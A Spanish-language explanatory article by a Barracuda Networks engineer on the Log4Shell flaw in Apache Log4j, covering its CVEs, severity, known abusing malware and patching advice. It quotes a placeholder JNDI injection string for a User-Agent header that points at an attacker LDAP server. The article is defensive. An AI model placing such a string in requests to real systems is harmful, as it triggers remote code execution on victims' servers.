En la última semana el servicio Log4j y su vulnerabilidad Log4Shell se han hecho tristemente famosos, pero para conocer la importancia de esta brecha de seguridad debemos tener en cuenta la distribución de este servicio y la magnitud de la vulnerabilidad, es decir, cuán difícil es de explotar y lo que se puede llegar a hacer al aprovecharla.

Primero debemos entender qué es servicio Log4j y para qué se utiliza. Básicamente se trata de una herramienta de código abierto, open source, de la Fundación Apache para guardar un registro o log, por motivos de seguridad, principalmente, de la actividad de todas las conexiones que se realizan contra servidores web, aplicaciones Java, compañías, aplicaciones de usuario y más.  

Suponiendo otra crisis del tipo cadena de suministro, ya que es ampliamente utilizado en servicios tales como Apple, Amazon, Cloudflare, Twitter, Steam, Tesla, Palo Alto Panorama, VMWare, Fortinet, Sophos, Cisco, SonicWall, Google o Linkedin, por poner algunos ejemplos cercanos. Incluso el dron de la NASA Ingenuity sobrevolando los cielos de Marte dispone de la librería Log4j en sus sistemas, como la propia Apache dio a conocer allá por junio de este año.

Así que la superficie a explotar es grande, ya que puede afectar no solo a los clientes/servicios que usen esta herramienta, si no, que también a los clientes y proveedores que usan sus servicios también.

Para entender la magnitud de la vulnerabilidad en sí hemos de entender tres conceptos:

Se trata de una vulnerabilidad de día cero

Se trata de una vulnerabilidad de día cero; de hecho ya van cuatro: CVE-2021-44228, vulnerabilidad que se detectó inicialmente el 10 de diciembre y CVE-2021-45046, que se detectó una vez se había generado un parche de seguridad para la primera, el 14 de diciembre, ya que el primer parche no cubría la totalidad de escenarios de ataque. Posteriormente se descubrieron las vulnerabilidades CVE-2021-45105 y CVE-2021-4104.

Una vulnerabilidad de día cero implica que no existe ningún parche, protección, contra ella, así que todos los servicios con la vulnerabilidad durante el periodo que transcurre entre que se descubre la vulnerabilidad y, o bien, surge un parche de seguridad y se aplica, o bien, los servicios de seguridad generan firmas para proteger los servicios afectados, están totalmente expuestos a recibir el ataque.

Uno de los titulares que dejará tras de sí esta vulnerabilidad es el hecho de que el primer parche fue creado apresuradamente por dos desarrolladores colaboradores voluntarios de la fundación.

Es capaz de ejecutar código sin tener acceso a los equipos

Se trata de una vulnerabilidad de tipo RCE, Remote Code Execution, es decir, el atacante tiene la capacidad de ejecutar código en los equipos afectados sin necesidad de tener acceso directo a ellos. De hecho, ha recibido una puntación de 10 sobre 10 en la escala de severidad de CVSS.

Lo que haga ese código malicioso entra dentro de lo que busquen los atacantes, ya se conocen redes bot aprovechando esta vulnerabilidad como Muhstik Botnet, mineros de criptomonedas como XMRIG miner, randsomware como Khonsari y troyanos como Orcus.

Pero tengamos en cuenta que los atacantes pueden estar en fase de reconocimiento, y estar utilizando estos servicios, que contienen mucha información tanto de los dueños como de sus clientes/proveedores, para exfiltrar información, cazar credenciales, hacer movimientos laterales y propagarse de forma más profunda, utilizando la instalación de herramientas como Cobalt Strike y así poder lanzar ataques más peligrosos y dañinos.

Complejidad mínima para explotar la vulnerabilidad

La complejidad para explotar esta vulnerabilidad es mínima, ya que simplemente debemos modificar una cabecera, como la de User-Agent, cabecera que se usa para indicar el tipo de equipo/cliente que usamos para conectarnos, con una estructura parecida a esta: ${jndi:ldap://<servidor_malicioso:puerto>/<código_malicioso>}. Al logarse esta conexión en el servidor de acceso vulnerable, se aprovechará este agujero para que se ejecute el código malicioso en el servidor web/aplicación. Y como comentábamos son ataques que se pueden automatizar mediante Bots.

Viendo que se trata de una vulnerabilidad fácilmente explotable, con actores intentando aprovecharse activamente de ella de múltiples formas sobre plataformas muy extendidas, ¿qué podemos hacer para protegernos?

Lo primero sería detectar todas las herramientas internas y de proveedores/clientes que estén utilizando Log4j para aplicar los parches de seguridad que nos ayuden a mitigar la misma. Actualmente la versión 2.17.0 de Log4j cubre las 4 vulnerabilidades expuestas. Se pueden utilizar herramientas como log4j-sniffer para detectar si existen instancias de Log4j vulnerables dentro de nuestra organización, tanto en software interno como de terceros donde nos puede haber pasado desapercibido.

Los estudios indican que esta vulnerabilidad podría haber sido explotada durante semanas antes de que se hiciera pública, y seguirán apareciendo nuevas variantes, así que recomendamos extremar las precauciones y revisar activamente las infraestructuras y servicios en búsqueda de posibles vulnerabilidades y accesos indeseados, y mantenerse al día de la evolución de la vulnerabilidad, ya que con total seguridad seguirán surgiendo variantes de la misma.

*** José Juan Díaz Pérez es Iberia SE en Barracuda Networks